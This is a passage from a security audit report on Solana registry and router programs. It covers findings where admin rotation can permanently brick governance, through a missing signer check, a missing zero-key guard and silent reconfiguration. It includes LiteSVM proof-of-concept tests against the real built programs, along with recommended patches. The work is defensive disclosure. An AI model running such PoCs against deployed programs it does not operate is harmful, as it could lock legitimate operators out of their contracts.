The two PoC crates run against the **real built** `.so` of each program in LiteSVM (`l5/L2-30_transfer_admin_bricks_registry` for asp-registry, `l5/L2-34_transfer_admin_bricks_quote_registry` for quote-registry). Each installs the exact post-`initialize_registry` `Registry` account (hand-built Anchor `#[account]` bytes with `admin` = a real, controllable keypair) and then executes the genuine vulnerable instruction. No proof/verifier is involved — this is purely a missing-`Signer`-check bug, so no stub is used.

Steps (identical for both programs):

- Precondition: `registry.admin` equals a real, signable admin keypair (asserted at install).
- Generate `Pubkey::new_unique()` — a key-less destination for which no private key exists anywhere (models a typo / burn address / lost seed / rogue-admin lockout).
- Submit the real `transfer_admin` instruction, signed **only** by the current admin, with the account order `registry(mut)`, `admin(Signer)`, `new_admin(is_signer = false)` pointing at the key-less pubkey.
- The transaction **succeeds** even though `new_admin` provided no signature — Anchor runs zero checks on it.
- Confirm `registry.admin` now equals the key-less pubkey and no longer equals the original admin.
- Confirm the brick: a recovery `transfer_admin` by the old admin reverts at `has_one = admin`, and `add_publisher` reverts at `has_one = admin` for both the deposed admin and an unrelated key.

Proven runtime result (green LiteSVM, both crates):

- asp-registry (`l5/L2-30_transfer_admin_bricks_registry/src/lib.rs:185-187`): *"L2-30 EXPLOITED: transfer_admin (new_admin = UncheckedAccount, not a Signer) handed registry.admin to a key-less pubkey ...; recovery + add_publisher now fail has_one=admin for both the old admin and an attacker — registry permanently bricked."* The harness pins the key-less destination to `1111111QLbz7JHiBTspS962RLKV8GndWFwiEaqKM`-class output and asserts the transfer succeeds, the admin slot moves, and recovery + `add_publisher` revert.
- quote-registry (`l5/L2-34_transfer_admin_bricks_quote_registry/src/lib.rs:199-201`): *"L2-34 EXPLOITED: transfer_admin (new_admin = UncheckedAccount, not a Signer) handed registry.admin to a key-less pubkey ...; recovery + add_publisher now fail has_one=admin for both the old admin and an attacker — quote registry permanently bricked."*

RECOMMENDED FIX

Make the incoming admin prove control of its key. The minimal, idiomatic fix in both `TransferAdmin` structs is to declare the new admin as a signer rather than an unchecked account:

```
// solana-asp-registry/src/lib.rs and solana-quote-registry/src/lib.rs
pub new_admin: Signer<'info>,   // was: UncheckedAccount<'info>
```

This aligns the asp-registry implementation with its own doc comment at L57-58 and closes the identical gap in quote-registry. With this change, `transfer_admin` can only complete if the incoming admin co-signs, so a typo/burn/key-less destination cannot be installed.

For stronger operational safety (defense in depth, and the more robust option given these are governance registries), use a two-step propose/accept rotation instead: store a `pending_admin` in `transfer_admin` (signed by the current admin), and add an `accept_admin` instruction that requires the pending key to sign before it is promoted to `admin`. As a cheap additional guard, also reject `Pubkey::default()` in `transfer_admin` so the zero key can never be written. Apply the chosen fix to both programs independently — they are separate programs with separate upgrade authorities.

LAYER 2 — CONCRETE PROOF OF CONCEPT (ENGINE-DIRECT)

```
//! L2-30 [Low] - solana-asp-registry `transfer_admin` is a registry-bricking foot-gun.
//!
//! WHAT THIS PROVES (against the REAL built solana_asp_registry.so, in LiteSVM):
//!   `transfer_admin` writes `registry.admin = ctx.accounts.new_admin.key()` while
//!   `new_admin` is declared `UncheckedAccount` - NOT a `Signer`. The in-code doc at
//!   lib.rs:57-58 claims "the new admin must be a signer ... so it is impossible to
//!   lock the registry by typo." That claim is FALSE: the legitimate admin (who DOES
//!   sign, gated by `has_one = admin`) can hand authority to a freshly generated
//!   `Pubkey::new_unique()` for which NO private key exists anywhere. The call
//!   SUCCEEDS, `registry.admin` becomes the unsignable key, and from that moment
//!   EVERY admin-gated instruction - transfer_admin / add_publisher / remove_publisher -
//!   is permanently uncallable (all gated by `has_one = admin`). Registry bricked.
//!
//! METHOD (golden-template-sanctioned): install the exact post-init Registry account
//! via set_account (hand-built Anchor #[account] bytes), then run the REAL
//! `transfer_admin` instruction signed only by the current admin, pointing new_admin
//! at a key-less pubkey. The bug is entirely in transfer_admin's missing Signer
//! constraint, so installing the initialized registry and running the real vulnerable
//! ix is a faithful end-to-end proof. We then run the REAL add_publisher and a
//! recovery transfer_admin to prove the brick (both fail at `has_one = admin`). No spl
//! crate / no anchor crate deps - avoids the solana-program 2.2 skew.
//!
//! GROUND TRUTH (programs/solana-asp-registry/src/lib.rs @ HEAD e259188):
//!   program id          : 3KoviU2pYfTZif3VEurb8RRvTCS7GYMbhiTaEygKCbiz
//!   registry PDA seeds  : [b"asp_registry"]                          (lib.rs:142)
//!   publisher PDA seeds : [b"asp_publisher", registry.key(), publisher] (lib.rs:186)

#[test]
fn transfer_admin_to_keyless_key_bricks_the_registry() {
    let pid = program_id();
    let mut svm = LiteSVM::new();
    load(&mut svm, pid);

    let admin_kp = Keypair::new(); // the LEGITIMATE current admin - the only signer
    let attacker_kp = Keypair::new(); // random; used only to prove a non-admin can't recover
    svm.airdrop(&admin_kp.pubkey(), 5_000_000_000).unwrap();
    svm.airdrop(&attacker_kp.pubkey(), 5_000_000_000).unwrap();

    // ... account/SPL pre-state setup elided for brevity ...

    // 2) add_publisher by the old admin - also fails has_one=admin (registry frozen).
    let publisher = Pubkey::new_unique();
    let (publisher_record_pda, _) = Pubkey::find_program_address(
        &[PUBLISHER_SEED, registry_pda.as_ref(), publisher.as_ref()], &pid);
    let mut ap_data = anchor_disc("global", "add_publisher").to_vec();
    ap_data.extend_from_slice(publisher.as_ref()); // borsh(publisher: Pubkey) = 32 bytes
    let add_pub = |signer: &Keypair, svm: &mut LiteSVM| -> bool {
        let ix = Instruction {
            program_id: pid,
            accounts: vec![
                AccountMeta::new(registry_pda, false),              // registry (has_one=admin)
                AccountMeta::new(signer.pubkey(), true),            // admin (mut, signer, payer)
                AccountMeta::new(publisher_record_pda, false),      // publisher_record (init)
                AccountMeta::new_readonly(system_program::ID, false),
            ],
            data: ap_data.clone(),
        };
        let bh = svm.latest_blockhash();
```

```
        let tx = Transaction::new_signed_with_payer(&[ix], Some(&signer.pubkey()), &[signer], bh);
        svm.send_transaction(tx).is_err()
    };
    assert!(add_pub(&admin_kp, &mut svm),
        "add_publisher by the old admin must FAIL - has_one=admin can never match the doomed key");
    assert!(add_pub(&attacker_kp, &mut svm),
        "add_publisher by a random key must FAIL too - no party can satisfy has_one=admin");

    // Registry is provably bricked: admin slot points at an unsignable key, and every
    // admin-gated path is now dead for every possible signer.
    println!("L2-30 EXPLOITED: transfer_admin (new_admin = UncheckedAccount, not a Signer) handed \
        registry.admin to a key-less pubkey {doomed_admin}; recovery + add_publisher now fail \
        has_one=admin for both the old admin and an attacker - registry permanently bricked.");
}

// full runnable harness: l5/L2-30_transfer_admin_bricks_registry/src/lib.rs
```

LAYER P3 — PROPOSED STRUCTURAL FIX (PATCH DIFF)

```
--- a/solana-asp-registry/src/lib.rs
+++ b/solana-asp-registry/src/lib.rs
@@ -1,3 +1,3 @@
-// Solana AspRegistry - Solana counterpart of `AspRegistry.sol`.
+// Solana AspRegistry - Solana counterpart of `AspRegistry.sol`.
 //
 // Stores the on-chain "last known good" ASP (Association Set Provider) tree
@@ -132,5 +132,5 @@
 }

-// -- Accounts ------------------------------------------------------------
+// -- Accounts ------------------------------------------------------------

 #[derive(Accounts)]
@@ -163,6 +163,12 @@
     pub admin: Signer<'info>,

-    /// CHECK: only used as the new admin Pubkey; no deserialisation required.
-    pub new_admin: UncheckedAccount<'info>,
+    // FIX F13: require `new_admin` to sign the transfer. An unsignable
+    // destination (typo, burn address, lost seed, all-zero/default key) cannot
+    // co-sign, so the registry can never be handed to a key for which no
+    // private key exists - closing the brick where `add_publisher`/
+    // `remove_publisher`/recovery `transfer_admin` would all revert at
+    // `has_one = admin`. This enforces the guarantee the doc comment on
+    // `transfer_admin` already promises.
+    pub new_admin: Signer<'info>,
 }

@@ -250,5 +256,5 @@
 }

-// -- State ---------------------------------------------------------------
+// -- State ---------------------------------------------------------------

 #[account]
@@ -296,5 +302,5 @@

 impl RootRecord {
-    /// Pure helper mirroring `AspRegistry.isRootFresh(bytes32)` - callers
+    /// Pure helper mirroring `AspRegistry.isRootFresh(bytes32)` - callers
     /// (verifier program, off-chain clients) compare
     /// `Clock::now() - published_at ≤ registry.grace_period_seconds`.
@@ -308,5 +314,5 @@
 }

-// -- Events --------------------------------------------------------------
+// -- Events --------------------------------------------------------------
```

```
 #[event]
@@ -340,7 +346,7 @@
 }

-// -- Errors -----------------------------------------------------------------
-
-// -- Tests ------------------------------------------------------------------
+// -- Errors -----------------------------------------------------------------
+
+// -- Tests ------------------------------------------------------------------
 #[cfg(test)]
 mod tests {
@@ -380,5 +386,5 @@
     #[test]
     fn is_fresh_rejects_future_timestamp_mismatch() {
-        // now < published_at should not be fresh - treat negative ages as stale
+        // now < published_at should not be fresh - treat negative ages as stale
... (diff truncated -- full patch in fix-program/programs/solana-asp-registry/src/lib.rs)
```

FINDING 14 / 15

LOW F14 missing-zero-check

configure() can set the router admin to the all-zero key, permanently bricking governance

INVARIANT configure() can set the router admin to the all-zero (unsignable) key (spr-payout-router, payment-match-router-v2), permanently bricking admin.

AFFECTED CODE

- `programs/solana-spr-payout-router/src/lib.rs:214-216` — `new_admin` assigned (`router.admin = next`) with no `Pubkey::default()` check and no two-step handoff.
- `programs/solana-spr-payout-router/src/lib.rs:206-208` — `redeem_verifier` branch DOES reject the zero key (`ZeroVerifier`), establishing the missing-on- `new_admin` inconsistency.
- `programs/solana-spr-payout-router/src/lib.rs:210-212` — `pool_program` branch DOES reject the zero key (`ZeroPool`).
- `programs/solana-spr-payout-router/src/lib.rs:181-182` — `initialize()` likewise guards `redeem_verifier` / `pool_program` against default but not the admin slot.
- `programs/solana-spr-payout-router/src/lib.rs:448-458` — `Configure` accounts: `router` constrained by `has_one = admin @ RouterError::NotAdmin` , `admin: Signer` — the gate that becomes unsatisfiable once admin == zero.
- `programs/solana-payment-match-router-v2/src/lib.rs:106-108` — same unguarded `new_admin` assignment in the sibling router (its `:98-104` guard the two program ids; `:263-273` is its matching `has_one = admin` / `Signer` gate).

DESCRIPTION

The router admin must remain a controllable key so the verifier and pool program addresses can be rotated over the program's lifetime (the documented purpose of `configure` : "rotate the pool program / redeem verifier addresses … any time the verifier circuit is rebuilt + redeployed", `programs/solana-spr-payout-router/src/lib.rs:196-198`). Admin rotation must not be able to install an unrecoverable/zero admin — the same consistency the handler already applies to the verifier and pool fields.

`configure()` violates this. The handler guards the two address fields against the all-zero key but assigns `new_admin` with no such guard:

- `programs/solana-spr-payout-router/src/lib.rs:206-208` — `redeem_verifier` rotation: `require!(next ≠ Pubkey::default(), RouterError::ZeroVerifier);` before assignment.
- `programs/solana-spr-payout-router/src/lib.rs:210-212` — `pool_program` rotation: `require!(next ≠ Pubkey::default(), RouterError::ZeroPool);` before assignment.

- `programs/solana-spr-payout-router/src/lib.rs:214-216` — `new_admin` rotation: `if let Some(next) = new_admin { router.admin = next; }` — **no zero-guard, no propose/accept two-step.**

Because the `Configure` accounts struct gates every future call on `has_one = admin @ RouterError::NotAdmin` and `admin: Signer` (`programs/solana-spr-payout-router/src/lib.rs:448-458`), the moment `router.admin` is set to `Pubkey::default()` (the all-zero / off-curve System Program address, for which no private key exists) the constraint becomes permanently unsatisfiable: no signer can ever equal the zero key. `configure()` is the only writer of `router.admin` after init (`initialize` is init-once; there is no `transfer_admin` , two-step accept, or upgrade-gated reset in the `#[program]` block), so `redeem_verifier` and `pool_program` can never be rotated again — the router's governance is bricked and only a full program redeploy recovers it.

The identical defect exists in the sibling `solana-payment-match-router-v2` : `configure()` guards `match_registry_program` and `pool_program` against `Pubkey::default()` but assigns `new_admin` with no guard (`programs/solana-payment-match-router-v2/src/lib.rs:98-104` guard the two program ids; `:106-108` assign `new_admin` unguarded), behind the same `has_one = admin @ RouterError::NotAdmin` / `admin: Signer` gate (`:263-273`).

IMPACT

Who loses what: the operator loses all future administrative control of the router. After `router.admin` becomes the all-zero key, `redeem_verifier` and `pool_program` can never be re-pointed (e.g. to a rebuilt verifier circuit or the post-migration pool), and admin can never be rotated to a real key again. The only remedy is a full program redeploy.

Preconditions / attacker privilege: **authority-gated.** This is NOT an external-attacker exploit. `has_one = admin` (`lib.rs:453`) means only the current router admin can call `configure` at all. The realistic trigger is a fat-fingered operator passing `Some(Pubkey::default())` (or a buggy/defaulted client that serializes an unset pubkey as zero), or a malicious/compromised admin self-bricking the slot. No funds are at risk and no privilege escalation occurs — the harm is a permanent governance brick / availability loss. The same brick applies to `solana-payment-match-router-v2` via its identical unguarded `new_admin` branch.

LAYER 3 — SYMBOLIC VERIFICATION (KANI)

Not applicable — no Kani harness was authored for this finding; its claim is corroborated by the engine PoC and the on-chain LiteSVM reproduction.

LAYER 4 — ON-CHAIN BPF REPRODUCTION

✓ Reproduced through deployed BPF instructions

REPRODUCTION

PoC crates: `l5/L2-37_admin_zero_brick` and `l5/L2-38_admin_lockout` , both run against the REAL built `solana_spr_payout_router.so` in LiteSVM (program id `3WQc91nuWPF3Aa1f8j9kkQnXPaf5TCzVnXwjA7Mo5rxv` , router PDA seeds `[b"spr_payout_router"]`). No

ZK proof, SPL token, or CPI is involved — `configure` touches only the Router PDA's admin slot — so installing the post-`initialize` Router `#[account]` via `set_account` and then invoking the real `configure` instruction is a faithful end-to-end proof.

Attack steps (self-inflicted / authority-gated):

- Install a post-init Router whose `admin` is a legitimate controllable key A (matching what `initialize` would produce). `L2-37` additionally first proves rotation is normally reversible: A→B→A via real `configure(new_admin=Some(...))` calls both succeed, demonstrating only the zero key is special.
- The current admin A signs `configure(redeem_verifier=None, pool_program=None, new_admin=Some(Pubkey::default()))`. With no zero-guard at `lib.rs:214-216`, the transaction **succeeds** (the verifier/pool branches would have reverted with `ZeroVerifier` / `ZeroPool`).
- Read back `router.admin` from bytes `[8..40]` — it is now `Pubkey::default()`.
- Attempt recovery: the original admin A (and an unrelated key) signs `configure(redeem_verifier=Some(new), ...)`. Both **fail** at `has_one = admin` (`RouterError::NotAdmin`) because no signer's key equals the all-zero admin. `router.redeem_verifier` is provably frozen at its original value forever.

Proven runtime result (quoting the EXPLOITED evidence):

- `L2-37`: *"L2-37 EXPLOITED: configure(new_admin = Some(Pubkey::default())) by the current admin set router.admin to the all-zero pubkey (no zero-guard at lib.rs:214-216); the only admin path (configure) now fails has_one=admin for both the original admin and any other key — router governance permanently bricked, redeem_verifier/pool_program frozen forever."*
- `L2-38`: *"L2-38 EXPLOITED: configure(new_admin=Pubkey::default()) bricked router.admin to the unsignable zero address; recovery via the old admin reverts (NotAdmin) — permanent admin lockout, redeem_verifier/pool_program can never be re-pointed."*

RECOMMENDED FIX

Apply the same zero-guard the handler already uses for the verifier and pool fields to the admin branch, in both routers. In `solana-spr-payout-router::configure` (`lib.rs:214-216`):

```
if let Some(next) = new_admin {
    require!(next != Pubkey::default(), RouterError::ZeroAdmin);
    router.admin = next;
}
```

And the identical change in `solana-payment-match-router-v2::configure` (`lib.rs:106-108`), reusing its `RouterError::ZeroProgram`-style error or a new `ZeroAdmin`. Add the matching guard to `initialize()` as well (`spr-payout-router lib.rs:184`) for defense in depth, so the admin slot can never be seeded zero either.

For stronger robustness, replace the single-write admin rotation with a two-step propose/accept handoff: store `pending_admin` on the first call and require the incoming admin to sign an `accept_admin` instruction (`require_keys_eq!(signer, pending_admin)`) before `router.admin` is updated. This makes the new admin prove control of its key and eliminates the typo/zero-address lockout class entirely (it also defends against handing admin to any uncontrolled non-zero key, not just the all-zero one).

LAYER 2 — CONCRETE PROOF OF CONCEPT (ENGINE-DIRECT)

```rust
//! L2-37 [Low] - solana-spr-payout-router `configure()` can set `admin = Pubkey::default()`,
//! permanently bricking the router admin (no zero-check, no two-step handoff).
//!
//! WHAT THIS PROVES (against the REAL built solana_spr_payout_router.so, in LiteSVM):
//!   `configure()` writes `router.admin = next` with NO `Pubkey::default()` guard
//!   (lib.rs:214-216), even though the two sibling branches in the SAME handler reject
//!   the zero key (redeem_verifier → ZeroVerifier @ L207, pool_program → ZeroPool @ L211).
//!   The `Configure` #[derive(Accounts)] gates on `has_one = admin @ RouterError::NotAdmin`,
//!   so configure() requires an account whose key == router.admin to sign. No keypair
//!   exists whose pubkey is `Pubkey::default()` (the all-zero key is off the ed25519 curve
//!   and has no private key). So the moment the current admin calls
//!   `configure(new_admin = Some(Pubkey::default()))`, router.admin becomes a key that can
//!   never sign again. `configure()` is the ONLY admin-mutating instruction (there is no
//!   transfer_admin / two-step accept / upgrade-gated reset), so redeem_verifier and
//!   pool_program can never be rotated again → permanent governance brick / availability
//!   loss requiring a full program redeploy. Low: no fund drain; self-inflicted /
//!   operator-error (or malicious-admin) admin lockout, exactly as scoped.
//!
//! METHOD (golden-template-sanctioned): install the exact post-init Router #[account] via
//! set_account (hand-built Anchor bytes), then run the REAL `configure` instruction. The
//! brick path touches NOTHING but the admin slot - no ZK proof, no SPL token, no pool /
//! verifier CPI - so installing the initialized router and running the real vulnerable ix
//! is a faithful end-to-end proof. We first prove rotation is normally reversible
//! (A→B→A via real configure calls), then brick to zero, read back router.admin == 0,
//! and prove a subsequent legitimate `configure(redeem_verifier = Some(new))` by the
//! ORIGINAL admin now FAILS at `has_one = admin`. No spl crate / no anchor crate deps -

#[test]
fn configure_sets_admin_to_zero_and_bricks_the_router() {
    let pid = program_id();
    let mut svm = LiteSVM::new();
    load(&mut svm, pid);

    // A = the legitimate operator/admin established by initialize(); B = a fresh real key.
    let admin_a = Keypair::new();
    let admin_b = Keypair::new();
    svm.airdrop(&admin_a.pubkey(), 5_000_000_000).unwrap();

    // ... account/SPL pre-state setup elided for brevity ...

    // -- PROOF OF LOCKOUT (the impact = permanent governance brick) ----------------------
    // A legitimate verifier rotation by the ORIGINAL admin A (the only real keypair anyone
    // holds) now FAILS - has_one=admin requires a signer whose key == router.admin == 0,
    // and A.key() ≠ 0. No keypair can ever satisfy it (the zero key has no private key).
    let new_verifier = Pubkey::new_unique();
    assert!(
        !run_configure(&mut svm, pid, router_pda, &admin_a,
            configure_data(Some(new_verifier), None, None)),
        "configure(redeem_verifier = Some(new)) signed by A must FAIL - has_one=admin can never \
         match the all-zero key (Anchor ConstraintHasOne / RouterError::NotAdmin)");

    // Same call by an unrelated fresh key also fails - NO party can satisfy has_one=admin.
    assert!(
        !run_configure(&mut svm, pid, router_pda, &admin_b,
            configure_data(Some(new_verifier), None, None)),
        "configure by any other real key must FAIL too - the admin slot is unsignable forever");

    // The verifier address is provably frozen at its original value: the only path that
```

```
    // could rotate it (configure) is now dead for every possible signer.
    assert_eq!(router_verifier(&svm, &router_pda), verifier0,
        "redeem_verifier is frozen at its original value - it can never be rotated again");

    // NO RECOVERY EXISTS: configure() is the ONLY admin-mutating instruction in this program
    // (initialize is init-once; there is no transfer_admin / two-step accept / upgrade-gated
    // reset - see lib.rs #[program] block L172-426). The admin slot now points at a key with
    // no private key, so every admin-gated path is permanently dead → full program redeploy
    // is the only fix.
    println!("L2-37 EXPLOITED: configure(new_admin = Some(Pubkey::default())) by the current admin \
        set router.admin to the all-zero pubkey (no zero-guard at lib.rs:214-216); the only \
        admin path (configure) now fails has_one=admin for both the original admin and any other \
        key - router governance permanently bricked, redeem_verifier/pool_program frozen forever.");
}

// full runnable harness: l5/L2-37_admin_zero_brick/src/lib.rs
```

LAYER P3 — PROPOSED STRUCTURAL FIX (PATCH DIFF)

```
--- a/solana-spr-payout-router/src/lib.rs
+++ b/solana-spr-payout-router/src/lib.rs
@@ -54,4 +54,10 @@
 const ROUTER_SEED: &[u8] = b"spr_payout_router";
 const REDEEMED_QUOTE_SEED: &[u8] = b"spr_redeemed_quote";
+// FIX F01: per-quote recorded deposit/quote amount PDA. The match
+// pipeline records the authoritative matched price for a quote here
+// (admin-gated); payout_to_seller then rejects any claimed_amount that
+// does not equal it, restoring the `claimed_amount == deposit.amount`
+// equality the legacy spr-escrow enforced.
+const QUOTE_AMOUNT_SEED: &[u8] = b"spr_quote_amount";

 // -- Platform fee (Faza 6a-fee) ---------------------------------------------
@@ -213,6 +219,35 @@
         }
         if let Some(next) = new_admin {
+            // FIX F14: zero-guard the admin rotation just like the verifier/pool
+            // branches above. Setting router.admin to the all-zero (unsignable)
+            // key would make the `has_one = admin` gate on Configure permanently
+            // unsatisfiable, bricking all future rotation of redeem_verifier /
+            // pool_program. Reject the default key so governance stays recoverable.
+            require!(next != Pubkey::default(), RouterError::ZeroAdmin);
             router.admin = next;
         }
+        Ok(())
+    }
+
+    /// FIX F01: admin-gated recorder for a quote's authoritative amount.
+    /// The off-chain match pipeline calls this once per matched quote to
+    /// pin the true deposited/matched price into a per-quote PDA keyed by
+    /// `quote_nullifier`. `payout_to_seller` then enforces
+    /// `claimed_amount == quote_amount_record.amount`, so a relayer can no
+    /// longer forward an unconstrained over-claim into the shared pool.
+    /// init-once: the PDA can only be written here a single time, so a
+    /// recorded amount is immutable for the life of the quote.
+    pub fn register_quote_amount(
+        ctx: Context<RegisterQuoteAmount>,
+        quote_nullifier: [u8; 32],
+        amount: u64,
+    ) -> Result<()> {
+        require!(quote_nullifier != [0u8; 32], RouterError::ZeroNullifier);
+        require!(amount > 0, RouterError::ZeroAmount);
+        let record = &mut ctx.accounts.quote_amount_record;
+        record.quote_nullifier = quote_nullifier;
+        record.amount = amount;
+        record.bump = ctx.bumps.quote_amount_record;
+        emit!(QuoteAmountRegistered { quote_nullifier, amount });
         Ok(())
     }
```

```
@@ -232,4 +267,26 @@
         require!(recipient != [0u8; 32], RouterError::ZeroRecipient);
... (diff truncated -- full patch in fix-program/programs/solana-spr-payout-router/src/lib.rs)
```

FINDING 15 / 15

INFO F15 missing-input-validation

router-v2 configure() repoints trusted CPI targets and rotates admin with no emitted event

AFFECTED CODE

- `programs/solana-payment-match-router-v2/src/lib.rs:91-110` — the `configure` handler; mutates registry/pool/admin and emits nothing.
- `programs/solana-payment-match-router-v2/src/lib.rs:99,103` — `require!(next ≠ Pubkey::default(), RouterError::ZeroProgram)` guards on the two program ids.
- `programs/solana-payment-match-router-v2/src/lib.rs:106-108` — `new_admin` is assigned with no `Pubkey::default()` (zero-key) guard.
- `programs/solana-payment-match-router-v2/src/lib.rs:100,104` — silent overwrite of `router.match_registry_program` and `router.pool_program`, the two PDA-signed CPI targets.
- `programs/solana-payment-match-router-v2/src/lib.rs:262-273` — `Configure` accounts: `router(mut, seeds=[ROUTER_SEED], has_one = admin @ RouterError::NotAdmin)`, `admin: Signer` — the authority gate.
- `programs/solana-payment-match-router-v2/src/lib.rs:79-83` — `initialize` emits `RouterInitialized` (proves the program can and does emit on the bootstrap path).
- `programs/solana-payment-match-router-v2/src/lib.rs:366-380` — full event list: only `RouterInitialized` and `MatchRouted`; no `RouterReconfigured`.

DESCRIPTION

`solana-payment-match-router-v2` PDA-signs CPIs into two trusted callees stored in its own state: `pool_program` (the shielded pool whose pairing-nullifier marker it burns) and `match_registry_program` (where it records match receipts). The invariant (L2-39, Family-8): the router's trusted CPI targets and its own admin key must not be silently or accidentally bricked, and changes to them should be observable on-chain so off-chain monitors can detect a repoint to a hostile program.

The `configure` handler at `programs/solana-payment-match-router-v2/src/lib.rs:91-110` violates the observability half of this invariant. It mutates `router.match_registry_program` (L100), `router.pool_program` (L104), and `router.admin` (L107), but emits no event for any of these changes — the handler body contains zero `emit!` calls. The program does define events (`RouterInitialized` at L368-373, `MatchRouted` at L375-380), and `initialize` does fire `RouterInitialized` (L79-83), so the asymmetry is real: bootstrapping the trusted targets is observable, but later repointing them is not. There is no `RouterReconfigured` event type in the program at all (confirmed against the full event list at

L366-380). A rogue or compromised admin can therefore repoint `pool_program` / `match_registry_program` to attacker-controlled programs, and no `Program data:` log line is produced to surface it.

Secondarily, `configure` guards both program-id assignments against the zero key (`require!(next ≠ Pubkey::default(), RouterError::ZeroProgram)` at L99 and L103) but applies no such guard to `new_admin` (L106-108) — so `configure(new_admin = Some(Pubkey::default()))` sets `router.admin` to the unsignable all-zero key. Because `Configure` is gated by `has_one = admin` (L268), no signer can ever satisfy the gate afterward and the router's config is frozen permanently. This zero-admin brick is the same root defect tracked under F14 (L2-37/L2-38) across both router programs; it is included here because the F15 PoC exercises it as CASE B, but the distinct F15 facet is the missing reconfigure event.

This is authority-gated: `Configure` requires the admin signer (`has_one = admin @ RouterError::NotAdmin` , L268), so a non-admin cannot trigger either failure mode. It is a robustness/observability gap, not a privilege escalation.

IMPACT

Authority-gated; no external attacker can trigger either failure mode (CASE C confirms the `has_one = admin` gate holds). The two consequences both require the admin key:

- **Observability gap (the F15 facet):** a compromised or rogue admin repoints `pool_program` / `match_registry_program` to attacker-controlled programs. Because no event is emitted, off-chain monitors and indexers that watch the router cannot detect the repoint from logs, delaying or preventing incident response. The repoint itself subverts the router's trusted-CPI guarantees on the legacy SPR path (the PDA signs into whatever pool/registry it now holds).
- **Permanent brick (shared with F14):** the admin (or a fat-fingered operator) sets `new_admin = Pubkey::default()` , after which no signer can ever satisfy `has_one = admin` , freezing all future reconfiguration of the trusted CPI targets. Recovery requires a program redeploy. No funds move on this path.

Both are governance/robustness/observability defects relative to the `initialize` path, which guards its program ids and emits an event. Severity Info, consistent with the registry.

LAYER 3 — SYMBOLIC VERIFICATION (KANI)

Not applicable — no Kani harness was authored for this finding; its claim is corroborated by the engine PoC and the on-chain LiteSVM reproduction.

LAYER 4 — ON-CHAIN BPF REPRODUCTION

✓ Reproduced through deployed BPF instructions

REPRODUCTION

PoC crate: `l5/L2-39_router_v2_reconfig` (`src/lib.rs` , test `configure_silently_repoints_and_bricks_router_but_auth_gate_is_sound`). It loads the real built `solana_payment_match_router_v2.so` into LiteSVM and drives the genuine `initialize` / `configure`

instructions — `configure` performs no CPI, so it touches only the router's own config account, making this a faithful end-to-end proof with no stubbing.

Steps:

- Run the real `initialize` as admin A, pinning a legitimate `registry0` / `pool0`. The success logs contain a `Program data:` line (the `RouterInitialized` event) — this establishes a baseline that the program does emit on a config-bearing path, so the absence in `configure` is a real gap, not a harness artifact.
- **CASE A (observability gap):** admin A calls `configure(Some(attacker_registry), Some(attacker_pool), None)`. It succeeds; `router.pool_program` and `router.match_registry_program` are overwritten to the attacker programs, and the success logs contain NO `Program data:` line. On the SPR path these are the trusted programs the router PDA-signs into (nullifier burn / receipt record), so a malicious repoint subverts downstream authorization while remaining invisible to on-chain monitors.
- **CASE B (permanent brick — overlaps F14):** admin A calls `configure(None, None, Some(Pubkey::default()))`. It succeeds (no zero-guard at L106-108); `router.admin` becomes the all-zero key. A follow-up legitimate `configure` by the original admin A then fails the `has_one = admin` gate (NotAdmin), and `pool_program` is frozen at its last value forever.
- **CASE C (auth gate sound):** on a fresh router, an unrelated attacker signer calls `configure(Some(attacker_pool), None, None)` and it fails with NotAdmin / ConstraintHasOne; `pool_program` is unchanged — confirming this is an observability/robustness gap, not a missing-authorization bug.

Proven runtime result (the test's EXPLOITED line): "L2-39 EXPLOITED: configure() on the REAL solana_payment_match_router_v2.so (A) silently repointed pool_program + match_registry_program to attacker programs with NO emitted event (no `Program data:` line — no RouterReconfigured type exists), making a malicious CPI-target repoint undetectable on-chain; (B) set router.admin = Pubkey::default() with no zero-guard (lib.rs:106-108) and the only admin path (configure) then failed has_one=admin for the original admin — router config bricked forever; while (C) a non-admin configure was correctly rejected with NotAdmin (auth gate is sound)." No verifier stub is involved — `configure` does no CPI and verifies no proof, so this PoC reflects the real handler's behavior directly.

RECOMMENDED FIX

- Emit a config-change event from `configure` so reconfigurations are observable on-chain. Add a `RouterReconfigured { admin, match_registry_program, pool_program }` event type and `emit!` it at the end of the handler (mirroring `RouterInitialized` at L79-83), capturing the post-update values:

```
#[event]
pub struct RouterReconfigured {
    pub admin: Pubkey,
    pub match_registry_program: Pubkey,
    pub pool_program: Pubkey,
}

// at the end of configure(), after the three optional writes:
emit!(RouterReconfigured {
    admin: router.admin,
    match_registry_program: router.match_registry_program,
    pool_program: router.pool_program,
});
```

- Apply the same zero-key guard to `new_admin` that already protects the program ids (closes the brick this PoC's CASE B exercises; tracked jointly with F14):

```
if let Some(next) = new_admin {
    require!(next ≠ Pubkey::default(), RouterError::ZeroProgram);
    router.admin = next;
}
```

- For defense in depth against admin loss/compromise, consider a two-step propose/accept admin rotation (the incoming admin must sign to accept), so the trusted-target config cannot be handed to a key the operator does not control.

LAYER 2 — CONCRETE PROOF OF CONCEPT (ENGINE-DIRECT)

```rust
//! L2-39 [Info] - solana-payment-match-router-v2 `configure()` is a silent, unguarded
//! reconfigure: (A) it repoints the trusted CPI targets (pool_program /
//! match_registry_program) to attacker-controlled programs while emitting NO event, and
//! (B) it can write `router.admin = Pubkey::default()` with no zero-key guard, bricking
//! the router permanently. The auth gate itself is SOUND (CASE C) - `Configure`
//! (has_one=admin + Signer) rejects a non-admin caller - so this is a
//! robustness/observability defect, NOT a missing-auth / privilege-escalation bug.
//!
//! WHAT THIS PROVES (against the REAL built solana_payment_match_router_v2.so, in LiteSVM):
//!   CASE A (observability gap): admin `configure(Some(attacker_registry),
//!     Some(attacker_pool), None)` SUCCEEDS, router.match_registry_program/pool_program are
//!     silently overwritten to the attacker programs, AND the tx logs contain NO Anchor
//!     `emit!` line ("Program data:") - the configure handler (lib.rs:91-110) has zero
//!     emit! calls and there is no `RouterReconfigured` event type in the program at all,
//!     so a malicious CPI-target repoint is undetectable on-chain. (We first run
//!     initialize() to show this program CAN emit - its log carries `RouterInitialized`'s
//!     `Program data:` line - establishing the absence in configure() is a real gap, not a
//!     harness artifact.)
//!   CASE B (permanent brick): current admin `configure(None, None,
//!     Some(Pubkey::default()))` SUCCEEDS (no zero-guard at lib.rs:106-108) and
//!     router.admin becomes the all-zero, unsignable pubkey. A follow-up legitimate
//!     `configure` by the ORIGINAL admin then FAILS at has_one=admin (NotAdmin) - the only
//!     admin-mutating instruction is now dead for every possible signer (no private key
//!     exists for Pubkey::default()), so the router's trusted-CPI-target config is frozen
//!     forever.
